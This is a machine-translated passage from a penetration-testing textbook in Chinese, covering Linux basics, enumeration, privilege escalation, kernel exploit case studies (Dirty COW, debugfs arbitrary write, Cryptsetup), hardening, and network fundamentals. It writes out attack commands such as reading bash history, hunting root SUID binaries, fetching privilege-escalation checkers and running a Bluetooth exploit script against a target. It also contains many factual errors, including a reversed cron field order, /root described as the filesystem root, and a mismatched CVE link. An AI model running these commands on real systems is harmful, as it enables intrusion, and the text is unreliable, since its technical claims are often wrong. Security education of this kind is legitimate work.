渗透测试在信息安全领域面临许多挑战。渗透测试的有限范围和时间空间限制使其成为一项艰巨的任务,特别是在生产环境中工作时。与客户缺乏沟通可能会使其变得更加困难。在进行渗透测试时可能会出现一些常见的问题和挑战:

  • 渗透测试的时间限制

  • 在渗透测试期间,无法覆盖所有的漏洞和威胁

  • 受限区域的存在

  • 由于大量扫描和自动化工具导致的突发和意外的技术事件

在进行渗透测试时,范围模糊可能会成为一个问题。因此,尽量在一个方便的范围内工作。

渗透测试的成熟度和评分模型

像任何系统方法论一样,渗透测试需要评估,以提供关于所用方法的可靠性的有用见解。一个设计良好的渗透测试方法和良好的评估策略应该基于量化的批准标准,以快速确定测试的深度和质量。行业领袖们都知道所有众所周知的渗透测试方法,但由于一些理解上的困难,许多公司正在使用自己的方法。有效的渗透测试计划确保了您的渗透测试计划的目标得到了满足,而不会产生误解、误解或虚假期望。成熟度模型需要确保渗透测试方法满足组织的需求;您可以为您的组织需求构建最合适的成熟度模型。您可以受到 voodoo security 制作的渗透测试模型的启发。它旨在给出这样的模型的一个想法。

渗透测试成熟度模型基于三个主要标准。每个标准有五个问题需要以是或否回答。如果是,总体得分将增加一分,否则将不增加。根据您对所有问题的回答,总体得分将定义您的渗透测试的评估。

现实性

这个指标用于评估渗透测试是否真实,并且它旨在模拟真实世界的攻击。以是或否回答以下问题:

  • 你是否使用了黑盒方法?

  • 你是否避免被检测到?

  • 你使用了社会工程学吗?

  • 你是否使用了外泄的数据?

  • 你模拟了恶意软件吗?

方法论

这个指标是基于方法论本身,以及在进行渗透测试时每个步骤中使用的工具。以是或否回答以下问题:

  • 所用的方法论已经存在还是定制的?

  • 所有步骤都是以连贯的方式完成的吗?

  • 你是否同时使用了手动和自动化工具?

  • 你是否实际利用了目标?

  • 是否允许枢纽?

报告

这个指标评估了结果报告,因为它是渗透测试中的一个重要步骤,而且是为多个受众编写的。以是或否回答以下问题:

  • 你是否删除了虚假阳性?

  • 您的步骤是否可重复?

  • 评估的漏洞是否用于上下文风险?

  • 结果是否符合业务需求?

  • 补救计划是否适合组织?

根据获得的分数,您可以评估您的渗透测试,并使用以下等级划分:

  • 0-5:低成熟度水平

  • 6-10:中等成熟度水平

  • 11-15:高成熟度水平

为了更好的展示,你可以使用图表:

总结

在本章中,我们涵盖了不同的渗透测试方法和进行全面、高价值和可重复的渗透测试所需的步骤,以及获得评估这些方法所需的技能。此外,在下一章中,旅程将继续。您将暴露 Linux 基础架构中的弱点,不仅学习如何保护 Linux 机器,还将检测漏洞并在内核级别利用它们。

第二章:高级 Linux 利用

现在我们对不同的渗透测试方法、阶段和要求有了清晰的理解,游戏才刚刚开始。是时候系好安全带了,因为在本章中,您将深入了解如何保护 Linux 环境,从对 Linux 基础设施渗透测试的高层概述,到发现内核漏洞的深层内容。本章概述了保护 Linux 基础设施所需的技能和工具。

Linux 基础知识

Unix 是由贝尔实验室开发的操作系统。基本上,它是基于命令行界面工作的,并且设计用于大型系统。这个操作系统不是免费的,而是专有的和可移植的。Linux 是由 Linus Torvalds 在 1991 年开发的 Unix 克隆。它是开源的,您可以在任何有处理器的设备上使用。Linux 是灵活的,您可以根据需要进行修改和实现,因为它是根据 GNU 通用公共许可证(GPL)许可的。

Linux 命令

在本小节中,让我们打开命令行并执行一些基本命令。在每个 Linux 主机上,都有名为shell的命令行界面,用于解释和执行键入的命令和脚本。有许多 shell 环境,如Bourne Again ShellBash,最常见的 shell)、C shellcsh)、Korn shellksh)等。要找到您的环境可用的 shell,只需打开命令行界面并键入cat /etc/shells

现在,让我们从 shell 中了解一些重要的基本 Linux 命令:

  • pwd: 知道您所在的目录

  • ls: 列出目录中的文件

  • cd: 进入一个目录

  • mkdir: 创建一个新目录

  • rmdir: 删除一个目录

  • touch: 创建一个新文件

  • cat: 读取一个文件

  • cp: 复制文件

  • mv: 移动一个文件

  • man: 显示如何使用一个命令

Linux 是区分大小写的(为了给用户提供多种命令选项的可能性,如-T- t-a- A等),因此您需要检查您如何编写每个命令。

作为渗透测试人员,有多个重要的命令需要了解,以便测试 Linux 基础设施的安全状况:

  • hostname: 主机信息

  • cat /proc/version: 内核信息

  • uname -r: 内核版本

  • uname -a: 关于系统的更详细信息

  • cat /proc/cpuinfo: 读取有关处理器的信息

  • echo $PATH: 显示有关PATH变量的信息

  • history: 显示命令历史

Linux 提供了输入/输出重定向功能,以便简化任务。它使您能够使用以下三种类型的流来操作 I/O 流:

  • 标准输入(stdin):在这个流中,输入来自键盘

  • 标准输出(stdout):这个流直接在屏幕上显示结果

  • 标准错误(stderr):这是另一种标准输出流类型,但它携带错误信息而不是在屏幕上显示输出

重定向

重定向是 Linux 的另一个功能,可以提高生产力。您可以使用简单的符号重定向流。您可以使用>将命令的输出重定向到文本文件,如果要追加文件而不是覆盖它,则使用>>;例如,ls > Simple_file.txt

另外,如果您想将一个命令的流重定向到另一个命令,建议使用管道,就像下面的行一样,它列出当前目录中的前两个文件,ls | head -2

Linux 目录结构

Linux 目录有一个标准结构。根据 Linux 的说法,一般来说,一切都是文件,甚至目录和设备也是文件。为了正常工作,Linux 以分层设计的特定方式管理这些文件:

  • /root: 所有文件和目录都从这个目录开始

  • /home: 包含所有用户的个人文件

  • /bin: 包含所有二进制文件(可执行文件)

  • /sbin:类似于/bin,但它包含系统二进制文件

  • /lib:包含所需的库文件

  • /usr:包含普通用户使用的二进制文件

  • /opt:包含可选的附加应用程序

  • /etc:包含程序所需的所有配置文件

  • /dev:包含设备文件

  • /media:包含临时可移动设备的文件

  • /mnt:包含文件系统的挂载点

  • /boot:包含引导加载程序文件

  • /tmp:包含临时文件

  • /var:包含变量文件,如日志

  • /proc:包含有关系统进程的信息:

Linux 操作系统中有许多类型的文件。每个文件都由特定的符号表示——目录、普通文件和套接字,这是应用程序之间的通信技术。

用户和组

下面的小节将涵盖管理用户账户和组所需的 Linux 命令。要创建新用户,请使用useradd命令;例如,useradd <user>

此外,您还可以添加有关新用户的更多信息,例如相关的 shell、用户目录和过期日期:

useradd <user> -d </Directory>
useradd <user> -e <date>
useradd <user> -s <shell>

每个用户必须有一个密码,并且为了更改密码,他们需要 root 访问权限。要更改用户密码,请使用passwd命令,如下所示:

passwd <user>
$ passwd
Changing password for user1
(current) UNIX password:
Enter new UNIX password:
Retype new UNIX password:
passwd: password updated successfully

要删除用户,请使用userdel命令。例如,userdel -r <user>,其中添加了-r选项以删除所选用户的文件。

使用组是管理 Linux 账户的一种技术。将用户组织成组是一种安全措施和隔离方法。要列出 Linux 系统中的所有组,请使用cat命令在/etc目录中显示group文件。

从屏幕截图中可以看出,group文件包含您的 Linux 系统中的所有组。只需键入cat /etc/group

要创建新组,请使用newgrp命令newgrp <Group_Name>

权限

Linux 是一个多用户操作系统。为了保护用户账户和组,给每个用户和组赋予不同的权限。在 Linux 系统中有三种主要权限:读取、写入和执行。这可以描述如下:

  • 读取是查看文件和如果目标是目录则列出内容的能力。它由字母(r)表示。

  • 写入允许用户修改某些文件和目录内容。它由字母(w)表示。

  • 执行允许用户运行脚本或程序并更改目录。它由字母(x)表示。

有三种权限类型如下:

  • 设置用户标识SUID):当设置 SUID 时,文件将以与用户相同的权限执行。

  • 设置组 IDSGID):与 SUID 相同,但文件将以与组相同的权限执行。

  • 粘着位:当您可以创建、修改或执行文件,但无法删除另一个用户的文件时使用。通常用于共享库。

chmod 命令

要更改文件的权限,您需要使用chmod命令,chmod <letters> <file or directory>。您还可以使用八进制格式代替字母,chmod <octal format> <file or directory>。要将权限从字母格式转换为八进制格式,您需要将每个权限转换为一个值:

用户 其他
4 读取 读取 读取
2 写入 写入 写入
1 执行 执行 执行

现在,让我们举个例子,看看如何以八进制格式轻松使用chmod命令。假设我们需要给用户读取和写入的权限,组只能读取,其他人只能执行。那么,八进制格式将是641,因为:

  • 用户读取 + 写入 = 6

  • 读取 = 4

  • 其他执行 = 1

最终的命令将是:chmod 641 <file>

chown 命令

现在,要更改文件的所有者,请使用chown命令chown user:group <file>。要包括所有包含的文件,请添加选项-R(递归模式)。

chroot 命令

chroot是一种用于将非根进程及其子进程与其他系统组件隔离的技术。这种隔离是设计在 Linux 操作系统中的,以确保当一个子系统被 compromise 时,不会影响整个系统。其思想是让进程认为它在根文件夹中运行,但实际上它将在管理员创建的一个目录中。因此,让我们来看看构建 chroot 监狱所需的步骤:

  1. 首先,您需要创建一个新用户并命名它; 例如,prisoner

  1. 将用户添加到 root 组gpasswd -a prisoner root

  2. 您可以通过验证/etc/group来检查是否已添加新用户:

  1. 现在创建一个名为chroot的新目录,并进入它

  2. 创建这些文件夹:bindevetchomehome/prisonerlibvarusrusr/bin

  3. 这里,至少需要binlib目录:

  1. 接下来,使用cp命令复制bash实用程序,cp /bin/bash /chroot/bin,包括所需的共享库:

  1. 最后,使用chroot命令构建监狱chroot /chroot /bin/bash

find 命令的强大

在前一章中,我们发现了从大量数据中提取正确信息的重要性。当您处理 Linux 时,知道如何查找和提取信息将帮助您有效地使用时间。

find是一个非常有用的命令,可以帮助用户根据定义的条件定位任何文件。find命令的格式如下:

$ find <location> <criteria> <Target-file>

通配符是帮助用户的一个很好的附加能力。它们受到通配符术语的启发,该术语描述了为卡分配任何值的事实。例如,当您在命令中使用星号通配符(*)时,它表示*可以是任何值,例如在这里的示例中,列出目录中的所有文本文件:

ls *.txt 

以下截图说明了前面命令的输出:

问号(?)和方括号([xyz])也是通配符的一种类型。因此,问号表示只有一个值,而方括号表示其中任何一个值。还有一些其他表示,例如[:digit:]:所有数字,[:upper:]:所有大写字母等。

以下是 Linux 利用的 find 命令用法的一些其他示例:

  • 显示当前用户的 bash 历史记录:
cat ~/.bash_history
  • 查找根 SUIDs:
find / -uid 0 -perm -4000 -type f 2>/dev/null
  • 要显示/var/log中的文件,请使用ls /var/log命令:
find /var/log -type f -exec ls -la {} ; 2>/dev/null

作业,cron 和 crontab

自动化是 Linux 操作系统的一个重要方面。对于系统管理员和渗透测试人员来说,自动化许多任务以避免重复是很重要的。如前一章所讨论的,渗透测试是一个有时间限制的任务。因此,良好的时间管理是每个成功的渗透测试人员所需的技能。Linux 为用户提供了在特定时间和可重复的方式运行命令或脚本的调度能力。cron 实用程序是实现这一点的关键。Cron 使您能够在定义的时间作为例行工作运行后台作业。以下是 cron 命令的格式:

<星期几> <月份> <月份中的日期> <小时> <分钟> <命令>

所有 cron 作业都可以使用crontab -l列出。它们也可以在/etc/crontab中找到:

安全模型

安全模型是用逻辑方式表示安全策略的特定机制。这些模型基于可信计算基础TCB),该基础在美国国防部标准 5200.28 中描述。这个标准也被称为橙皮书。它将 TCB 呈现为负责对任何系统进行访问控制的可信系统组件。TCB 受到称为安全边界的虚构边界的限制。TCB 与其他子系统之间的每个连接应该使用安全通道,有时被称为安全路径。安全模型存在是为了防止未经授权的信息流动。换句话说,它们断言信息是从低级安全级别流向高级别,而不是相反。还有其他称为非干扰模型的模型,它们关注于每个主体上执行的行为,而不是信息流。以下是一些知名的安全模型:

  • 贝尔-拉帕杜拉模型:该模型基于对象的保密性。它规定了不读取上行政策和不写入下行(第一个被称为简单安全属性,第二个属性被称为星级安全属性)。

  • Biba 模型:这是一个集中在对象完整性的分层系统。它有两个属性:简单完整性公理规定了不下行读取策略,星级完整性公理规定了不上行写入策略。

  • 克拉克-威尔逊模型:规定只有授权用户才能改变数据的完整性。

安全控制

在探索访问控制之前,让我们了解安全控制中的一些重要术语。根据定义,名词控制意味着根据标准进行检查的实体。安全控制分为三个主要类别:

  • 管理安全控制:这些使用管理技术和计划来减少以下风险:

  • 漏洞分析

  • 渗透测试

  • 风险分析

  • 技术安全控制:也被称为运营安全控制。它们使用技术和意识作为保障。以下是一些例子:

  • 防火墙

  • 加密

  • 入侵检测系统

  • 防病毒软件

  • 培训

  • 物理安全控制:这些是用于保护以下数据的物理保障:

  • 摄像头

  • 生物识别技术

  • 传感器

访问控制模型

访问控制是技术安全控制的一种形式。主体和对象是两个重要的术语。主体是一个主动实体,例如一个动作(例如修改或访问文件)。对象是一个静态系统实体,例如文本文件或数据库。基本上,有三种访问控制模型,描述如下:

  • 强制访问控制(MAC):系统检查主体的身份和其权限与对象权限。因此,通常主体和对象都使用排名系统(绝密,机密等)进行标记。

  • 自主访问控制(DAC):对象所有者被允许为用户设置权限。密码是 DAC 的一种形式。

  • 基于角色的访问控制(RBAC):顾名思义,访问是基于分配的角色。

Linux 攻击向量

攻击是威胁代理对信息系统资产的实际行为。用于攻击目标的路径称为攻击向量。有三种主要类型的攻击向量和威胁:

  • 网络威胁:指对组织网络的威胁

  • 主机威胁:这些是针对主机的威胁,包括硬件和操作系统

  • 应用程序威胁:这指的是针对系统程序的威胁

使用 LinEnum 进行 Linux 枚举

枚举是每次成功攻击的关键。这是黑客系统的关键阶段,也是信息收集的重要部分。在此阶段,攻击者在本地或远程之间建立连接以收集尽可能多的信息,以决定攻击向量。要枚举 Linux 主机,您可以使用一个名为LinEnum的实用程序,并从github.com/rebootuser/LinEnum下载它。

它是一个有用的 shell 脚本,使用至少 65 个项目的清单收集有关 Linux 主机的信息,例如内核和敏感用户信息,以便找到升级点:

以下屏幕截图显示了有关已登录用户和系统组的信息(清单的两个项目):

使用 Nmap 进行 OS 检测

第一步是检查主机是否存活。要验证机器的状态,请键入nmap -sP <目标>;目标可以是 IP 地址或一系列地址:

基本上,检查是使用 ICMP 请求,因此,许多网络管理员由于防火墙和入侵检测系统而阻止此协议请求。因此,渗透测试人员可以使用 TCP 或 UDP 请求(不用担心;我们将在下一章节中详细介绍网络方面和协议)。要实现这一点,您可以使用 nping 实用程序:

Nmap 具有检测操作系统的强大能力,这要归功于其基于 TCP 和 UDP 数据包的足迹数据库。要检测操作系统,只需使用-O Nmap 选项,nmap -O <目标>

检测操作系统和服务,使用nmap -n -A -T5 <目标>。它基于端口检测活动服务。以下是一些带有端口的服务:

服务 端口
telnet 23
ftp 21
http 80
pop3 110
https 443
ntp 123
ldap 389
postfix 25
Imap 143

作为渗透测试人员,每一步都应该记录下来;这就是为什么 Nmap 提供了输出选项来导出扫描结果。只需使用-oN选项(您可以在文本(N)、可搜索(G)或 XML(X)之间进行选择):nmap -n -A -T5 <目标> -oN report.txt

权限提升

权限提升是试图获得未经授权的高权限的过程,大多数情况下是尝试获取 root 权限。它是从用户帐户到 root 帐户的转移。为了获得管理权限,攻击者利用系统的弱点(编程错误,配置错误等)。权限提升有两种类型:垂直和水平。当攻击者从较低权限移动到较高权限时,它是垂直提升。如果他从一个帐户移动到另一个帐户并具有相同的权限,则是水平提升。为了在 Linux 环境中获得 root 权限,攻击者使用许多技术:

  • 利用 Linux 服务:如前所述,攻击者试图找到漏洞来提升权限。Linux 服务和配置是每个黑客和渗透测试人员的良好入口点。我们有以下示例:

  • X11 服务:X11 是 Linux 环境的图形引擎。许多界面可以在其上运行,例如 Gnome 和 KDE。X11 服务基本上在 6000-60063 端口上运行。如前所述,您可以使用 Nmap 枚举主机以获取活动的 X11 服务。X11 的一个弱点是攻击者可以使用 xspy 工具记录每个输入的信息。这里的图像描述了 Linux XServer 环境:

    • Linux 蓝牙堆栈(BlueZ)信息泄漏漏洞的案例研究– CVE-2017-1000250:这个漏洞是一个用户空间和内核空间的组合,用于泄露信息,包括蓝牙通信中的加密密钥。内核用户漏洞是最低蓝牙堆栈 L2CAP 中的一个弱点。这对许多蓝牙设备构成了巨大威胁,包括运行 Linux BlueZ 的设备:移动设备和物联网设备。要在安卓手机上测试漏洞,可以从 GitHub 存储库github.com/ojasookert/CVE-2017-0785下载并运行 Python 脚本:./CVE-2017-0785.py TARGET=XX:XX:XX:XX:XX:XX。在此之前,请确保已经使用pip工具安装了所需的 Python 库pybluezpwntools,如下截图所示:
 pip install <python_library>

  • 通配符:它们可能是致命的武器。研究人员(回到未来:Unix 通配符失控– Leon Juranic)表明通配符可以用于注入任意命令。

  • SUID 滥用:这可以通过需要以 root 权限运行系统上其他命令的程序(如 Nmap)来实现。

  • Linux 内核利用:这是最危险的技术。如果攻击者能够利用内核,他将完全控制受损系统。

Linux 特权检查器

Linux 特权检查器是一个具有特权升级检查功能的枚举工具。要尝试它,可以从www.securitysift.com/download/linuxprivchecker.py下载。可以使用wget命令进行下载,如下所示:

wget http://www.securitysift.com/download/linuxprivchecker.py

您可以在系统上运行它,输入./linuxprivchecker.pypython linuxprivchecker.py

另一个用于 Unix 和 Linux 操作系统的工具称为 unix-privesc-checker。它可以在pentestmonkey.net/tools/audit/unix-privesc-check上找到。

Linux 内核利用

有许多黑客动机,但没有什么可以与完全控制系统的兴奋相比。这可以通过利用 Linux 内核来实现。攻击系统核心将使黑客感到世界之巅;这就是为什么内核对每个黑客来说都是一个高优先级目标。

用户空间与内核空间

大多数操作系统依赖于环保护模型。该模型代表从高特权到低特权的重叠概念环。有四个从 0 到 3 编号的层:

  • Ring 3:这一层是通常的交互层,用户通常处于用户模式。

  • Ring 2:这一层包含低特权操作。

  • Ring 1:这是输入/输出操作的层。

  • Ring 0:这是最敏感的层。内核位于此层。

像许多最近的操作系统一样,Linux 并不完全依赖于环保护机制,而是在两层模式下工作:用户模式和内核模式。内存分为两个部分和空间:用户空间和内核空间。第一个被正常程序使用,因此该空间中的进程使用有限的内存。第二部分使用所有内存,并运行最受信任的代码。

系统调用

系统调用,或syscalls,是用户空间内核空间之间的接口。它在不同的架构中有所不同;例如,在旧处理器中,中断用于两个空间之间的交易。现在,在新架构中,使用了优化指令:

Linux 内核子系统

Linux 内核由许多组件组成:

  • 内存管理器:这负责访问内存

  • 进程调度器:这负责管理进程

  • 虚拟文件系统:这代表了对各种设备的常见文件接口

  • 网络接口:这管理网络标准和网络设备

  • 进程间通信:这管理单个系统中许多进程之间的通信

  • 设备驱动程序:这些存在是为了使设备硬件可用

进程

进程是程序的一个实例。当程序加载到内存中时,它被称为进程。进程可以处于不同的状态:新建、运行、等待、就绪和终止。在 Linux 中,每个进程都有一个名为PID的标识。您可以使用ps命令来检查它们:

线程

线程类似于进程。虽然进程在单独的内存空间运行,线程在共享内存上运行。它们可以被调度执行。

安全增强型 Linux

安全增强型 LinuxSELinux)是由美国国家安全局(NSA)开发的安全项目。它是集成在 Linux 内核中的Linux 安全模块LSM),从 2.6.0 内核版本开始。它实现了强制访问控制(MAC)系统以保护环境。它指定了用户如何与系统交互的策略。当一个主体(如一个进程)想要从一个文件请求操作时,SELinux 安全服务器会通过访问向量缓存AVC)检查访问权限,这要归功于安全策略数据库。它是在普通 Linux 系统之上的额外安全层。以下是 SELinux 流程的示例:

您可以在/etc/selinux目录下检查 SELinux 的全局配置文件:

内存模型和地址空间

内存管理是每个操作系统的重要能力。它也集成到 Linux 内核中。Linux 以虚拟方式管理内存。换句话说,物理内存地址与程序使用和看到的地址之间没有对应关系。这种技术给用户和开发人员带来了灵活性。Linux 处理以下五种类型的地址:

  • 用户虚拟地址

  • 物理地址

  • 总线地址

  • 内核逻辑地址

  • 内核虚拟地址

内存被划分为 4096 字节的内存块,称为页面,以便进行内部处理。最低有效位是偏移量;其余部分是页号。在最近的 x86 架构上,Linux 内核将虚拟空间(通常为 4GB)划分为 3GB 用于用户空间,1GB 用于内核空间。这个操作被称为分段。内核使用页表来对应物理和虚拟地址。为了管理内存的不同区域,它使用虚拟内存区域VMA):

要显示进程的内存映射,可以使用cat命令显示/proc/1/maps文件:

Linux 内核漏洞

Linux 内核是 Linux 基础设施中最关键的组件。因此,控制它将授予对系统和敏感信息的访问权限。如果黑客甚至获得硬件的根访问权限,他们将无法阻止损坏系统或窃取关键信息。根据攻击面(内存、指针、逻辑等),有许多内核漏洞被分类。

空指针解引用

空指针解引用是一种可用性漏洞。通常是由空指针错误引起的,导致NullPointerException。当指针指向一个值为 NULL 的地址时,指向有效内存空间时,会引发此异常。为了避免这种类型的攻击,您只需要调用异常处理程序:

任意内核读/写

任意内核读/写是通过向内核传递数据来完成的关键攻击。

案例研究 CVE-2016-2443 高通 MSM 调试 fs 内核任意写

这个漏洞利用是使用了一个名为 MSM 的安卓高通 SoC 的 Linux 分支。它是高危且关键的。它针对的是调试文件系统,也被称为debugfs,这是一个基于 RAM 的文件系统,通常用于调试目的,通过使信息对用户空间可用。这就是为什么它是一个很好的入口,可以向 Linux 内核注入一些信息。这个漏洞利用使你能够通过 echo 命令向内核传递数据,导致内核恐慌:echo "41414141 42424242" > /sys/kernel/debug/mddi/reg

因此,这将导致信息泄漏。

内存损坏漏洞

内存管理是 Linux 内核的一个重要组成部分。因此,这是一个重要的攻击面。对内核和 Linux 基础设施构成威胁的两个主要内存损坏漏洞是内核栈和内核堆漏洞:

,

内核栈漏洞

栈是一个特殊的内存空间。在编程中,它是一个抽象数据类型,用于使用 push 和 pop 两种操作来收集元素。这个部分会自动增长,但当它接近另一个内存部分时,会导致问题和对系统的混淆。这就是为什么攻击者使用这种技术来混淆系统与其他内存区域。

内核堆漏洞

堆用于动态内存分配。它和栈一样存在于 RAM 中,但速度较慢。内核堆使用以下三种分配器:

  • SLAB:这是一个缓存友好的分配器。

  • 简单块列表SLOB):这是在小型系统中使用的分配器。它使用首次适配算法。

  • SLUB:这是默认的 Linux 分配器。

内核堆漏洞利用是危险的,因为在大多数情况下,攻击者不需要准备 Linux 模块调试环境。

竞争条件

在使用线程进行编程时,调度并不是一件容易的任务。当许多线程竞争更改相同的数据结构时发生的错误被称为竞争条件。换句话说,当两个线程试图执行相同的任务时就会发生。为了避免竞争条件,需要原子操作。因此,当一个操作开始时,它不能被停止或中断。Linux 提供了一个名为Mutex的解决方案,它是 mutual exclusion object 的缩写。正如其名称所示,mutexes 是用来防止线程同时执行的锁。Dirty Cow(CVE-2016-5195)是基于竞争条件的 Linux 内核特权升级漏洞利用。要下载这个漏洞利用,你可以在这个 GitHub 仓库中查看:github.com/dirtycow/dirtycow.github.io/wiki/PoCs

以下截图描述了 Dirty Cow(CVE-2016-5195)的 C 语言漏洞利用版本的步骤:

逻辑和硬件相关的漏洞

逻辑和硬件相关的漏洞利用是非常危险的。想象一下,一个攻击者不仅可以 compromise 操作系统,还可以完全控制硬件本身。这可能是一场灾难。接下来,我们将看一下相关的硬件漏洞,允许攻击者攻击 Linux 硬件基础设施。

案例研究 CVE-2016-4484 - Cryptsetup Initrd root Shell

这个漏洞利用是在 2016 年维也纳的 Deepsec 深度安全会议上展示的。演讲的标题是滥用 LUKS 来黑客系统。在会议期间,研究人员展示了一种危险的方法,利用 Cryptsetup 中的漏洞来解密主机分区。这个漏洞利用使你能够获得对被攻击机器的 root 访问权限,并能够对磁盘进行任何操作。这个漏洞是由于密码检查的处理不当引起的。因此,当用户尝试输入密码超过三次时,系统会正常进行引导序列:

Linux Exploit Suggester

Linux Exploit Suggester 是由PenturaLabs开发的一个简单脚本,用于帮助渗透测试人员搜索 Linux 漏洞。让我们从 GitHub 下载该工具:

#git clone https://github.com/mzet-/linux-exploit-suggester

该工具使用uname -r命令来收集有关 Linux 操作系统发布版本的信息,然后为您提供该特定版本的特权升级漏洞列表。如果您已经知道发布版本,可以直接使用-k选项输入,如下面的屏幕截图所示:

之后,您可以使用网站,如www.cvedetails.com 搜索更多关于发现的漏洞的信息。

缓冲区溢出预防技术

有许多实施的技术来避免缓冲区溢出攻击。在接下来的部分中,我们将介绍一些众所周知的机制。

地址空间布局随机化

地址空间布局随机化ASLR)是由 Pax 项目开发的一种防御机制,用于防范缓冲区溢出攻击。这种内存保护过程在加载到内存中时随机化可执行位置。因为,正如我们在前面的部分中所学到的,如果位置是可预测的,那么系统的利用将会很容易。它最初是作为 Linux 的补丁在 2001 年推出的,但后来被集成到许多其他操作系统中。可以使用以下技术来打败 ASLR:

  • 暴力破解所有可能的 256 个地址,直到利用程序起作用

  • 生成 NOP 块,直到获得合法的内存

堆栈哨兵

堆栈哨兵用于在发生缓冲区溢出攻击之前检测它们。它们并不是确切地防止它们,而是由编译器实施的,通过在潜在易受攻击的函数中使用哨兵来使利用更加困难。函数序言将一个值放入哨兵位置,而尾声则检查确保该值未被更改。

不可执行堆栈

不可执行堆栈NX)是一种虚拟内存保护机制,通过限制特定内存并实施 NX 位来阻止堆栈上的 shell 代码注入执行。但是,这种技术对于返回到 lib 攻击并不真正值得,尽管它们不需要可执行堆栈。

Linux 返回导向编程

返回导向编程ROP)是一种众所周知的技术,可以绕过大多数讨论过的保护机制。它是通过找到我们所谓的 ROP 小工具(代码片段)并跳转到它们来完成的。在这种技术中,攻击者劫持和操纵程序控制流,并执行驻留在内存中的一系列指令来执行攻击。这被称为 ROP 链接。

Linux 加固

在前面的部分中,我们发现了攻击 Linux 基础设施所需的方法和工具。现在是时候部署保障措施,并学习如何防御这些攻击并保护您的基础设施了。要加固您的 Linux 系统,您需要执行以下操作:

  • 更新 Linux 内核和应用程序

  • 避免使用不安全的服务,如 FTP 和 telnet,改用 SFTP 和 OpenSSH

  • 通过仅使用所需的应用程序和服务来最小化攻击面

  • 如果可能,使用 SELinux

  • 使用强密码策略

  • 密切关注 faillog 记录

  • 加固/etc/sysctl.conf

  • 使用认证服务器

互联网安全中心CIS)为各种操作系统提供了许多加固指南,包括 Linux。强烈建议访问:www.cisecurity.org/

现在,从此链接www.cisecurity.org/cis-benchmarks/下载您的 Linux 发行版的基准。以下是 Debian 加固指南:

总结

本章总结了 Linux 基础设施的不同攻击面,从基本的 Linux 命令开始,特别是那些用于执行系统足迹和枚举的命令。在后面的部分,我们不仅有机会学习最新的 Linux 利用技术,还有真实案例研究,还能理解每个 Linux 安全层背后的理论和概念。我们并没有止步于此;作为渗透测试人员,我们有机会发现如何利用 Linux 基础设施的内核。在本章结束时,我们获得了操作和保护 Linux 基础设施的技能,既从攻击者的角度,也从防御者的角度。下一章将拓宽你的视野,让你清楚地了解如何渗透大型企业网络和数据库,从网络基础术语到获取渗透大型网络公司所需的技能。

第三章:企业网络和数据库利用

在上一章中,我们有机会学习如何攻击和保护 Linux 基础设施。现在,是时候扩展我们的技能,获得渗透企业网络和数据库所需的知识和实践经验了。

本章涵盖的主题有:

  • 网络扫描的高级主题

  • 不安全的 SNMP 配置

  • 数据库服务器的利用

在深入研究之前,让我们从一些基础知识开始。

网络基础知识

要了解如何攻击企业网络,您必须学习一些重要的网络术语。

网络拓扑

网络的示意图描述被称为拓扑。它指的是网络中不同设备的布局。网络组件的排列可以是物理的或逻辑的。有许多网络拓扑:总线、网状、星型、环形、树状和混合。

总线拓扑

总线拓扑代表所有网络组件都使用中心连接连接的布局,有时被称为骨干。这种拓扑类型非常经济实惠,因为它使用单个可扩展电缆。对于小型网络来说是一个不错的选择,但当电缆出现故障时,所有连接的设备都会出现故障。作为网络架构师,最好避免单点故障的方法。总线拓扑如下所示:

星型拓扑

星型拓扑指的是将所有设备连接到一个单个集线器,这是一个具有专用连接到每个设备的中心节点。集线器的作用是重复数据流。它易于管理和故障排除,但与其他拓扑相比有点昂贵。星型拓扑如下所示:

环形拓扑

环形拓扑代表数据传输沿着一个方向进行的环形布局。它代表了单点故障,就像总线拓扑一样。环形拓扑如下所示:

树状拓扑

树状拓扑是一种分层布局。您可以将其视为总线拓扑和星型拓扑的组合。有时,它被认为是星型拓扑的另一种形式。它包含一个根节点和其他设备,是一个适合分组工作空间的选择,但是布线很重。树状拓扑如下所示:

网状拓扑

在网状拓扑中,每个连接的设备都使用点对点连接与网络中的其他设备相连。这种拓扑类型很昂贵,但在冗余架构中推荐使用,因为如果一个设备出现故障,数据会传输到另一台机器,通常使用最短的路径。网状拓扑如下所示:

混合拓扑

混合拓扑是先前讨论的至少两种拓扑的组合。根据您的需求,您可以选择一些拓扑来满足不同部门的需求。它是有效和灵活的。

传输模式

在学习了网络的不同拓扑之后,现在让我们看看两个不同设备之间的数据是如何传输的。在通信方面,我们有三个主要的传输类别:

  • 简单模式:当数据只在一个方向流动时出现。这种类型广泛用于电视广播(您只能从源发送数据到监视器,而不能反过来)。

  • 半双工模式:在这种传输类型中,数据一次只能在一个方向上使用单一通信方式进行传输,就像乒乓模式;您不能同时发送和接收消息。

  • 全双工模式:当数据流是双向和同时进行时使用的模式,就像电话网络中使用的模式。

我们看到了传输操作的“如何”,现在让我们看看“什么”; 换句话说,传输的不同方式。有两种传输类型:

  • 有界手段:数据通过三种类型的物理电缆传输 - 同轴电缆,光纤和双绞线

  • 无界手段:数据以无线电和微波信号传输

通信网络

有许多类型的通信网络。

局域网

局域网LAN)用于小范围,如小型办公室或建筑物。对于网络设计,可以使用之前讨论的任何拓扑结构。这种类型的网络易于故障排除,并且在共享环境中经常使用(打印机,计算机等)。这里有一个例子:

都市区域网络

都市区域网络MAN)比 LAN 大,但它是可扩展的,因为它可以在更大的距离上使用,例如在同一城市的两个办公室之间。中间可能是另一家公司和服务(例如当地电话交换)。

广域网

广域网WAN)用于涉及较大距离的情况。一般来说,它用于互联网连接不同的方。以下图总结了不同类别之间的区别:

个人区域网络

个人区域网络PAN)是短距离无线网络。一般来说,PAN 的范围小于一个房间。最著名的 PAN 是蓝牙。

无线网络

无线网络是减少网络成本的好方法,通过用无线电波替代物理电缆。

数据中心多层模型设计

数据中心多层模型设计是现代组织数据中心中广泛使用的模型。这种拓扑结构非常灵活但昂贵。这种多层架构基于三个主要层:核心聚合接入

  • 核心层:此层被称为骨干,因为它确保使用高数据传输速率可靠地传递数据包。

  • 聚合层:有时被称为工作组层,因为它确保组织的子网和虚拟局域网之间的数据包正确路由。它可能包括防火墙,服务质量QoS)和许多其他基于策略的网络连接。

  • 接入层:此层负责将端点和工作站连接到网络。

这些层次在这里显示:

开放系统互连模型

网络是每个现代组织和个人的重要组成部分。为了促进数据通信和处理,开放系统互连OSI)标准化模型已经发展。数据在网络中按特定顺序移动。这个顺序由七个步骤和层次表示;OSI 模型包含七层。您可以使用这个短语从上到下记住层次:所有人似乎都需要数据处理

